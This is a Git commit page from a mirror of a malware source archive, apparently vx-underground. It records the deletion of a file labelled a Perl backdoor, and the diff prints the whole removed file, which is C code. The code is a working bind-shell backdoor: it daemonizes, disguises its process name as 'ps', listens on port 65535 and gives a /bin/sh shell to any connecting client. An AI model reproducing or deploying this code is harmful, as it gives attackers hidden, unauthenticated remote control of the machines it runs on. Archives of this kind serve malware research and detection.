ch0ic3/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2024-12-19 01:46:09 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity

Delete Backdoor.Perl.Whoredoor.08

Browse Source 
na
This commit is contained in:
vxunderground 2020-11-14 01:13:01 -06:00 committed by GitHub
parent a829610597
commit b5b30bbe28
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 0 additions and 73 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

73
Perl/Backdoor.Perl.Whoredoor.08
View File

@ -1,73 +0,0 @@
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <unistd.h>
#include <netdb.h>
void mk_daemon();
int main(int argc, char **argv)
{
int lfd,cfd;
socklen_t len;
struct sockaddr_in cli,serv;
pid_t pid;
char **sh;
sh[0]="/bin/sh";
sh[1]=NULL;
mk_daemon();
strncpy(argv[0],"ps",sizeof(argv[0]));
lfd=socket(AF_INET,SOCK_STREAM,0);
bzero(&serv,sizeof(serv));
serv.sin_family=AF_INET;
serv.sin_addr.s_addr=htonl(INADDR_ANY);
serv.sin_port=htons(65535);
bind(lfd,(struct sockaddr *)&serv,sizeof(serv));
listen(lfd,5);
while(1)
{
len=sizeof(cli);
cfd=accept(lfd,(struct sockaddr *)&cli,&len);
if(!(pid=fork()))
{
dup2(cfd,0);
dup2(cfd,1);
dup2(cfd,2);
execve(sh[0],sh,NULL);
close(cfd);
exit(0);
}
close(cfd);
}
return 0;
}
void mk_daemon()
{
/* yes I did get this out of UNP */
int x;
pid_t pid;
if((pid=fork()) !=0)
{
exit(-1);
}
setsid();
signal(SIGHUP,SIG_IGN);
signal(SIGINT,SIG_IGN);
if((pid=fork()) !=0)
{
exit(-1);
}
chdir("/");
umask(0);
for(x=0;x<=64;x++)
{
close(x);
}
}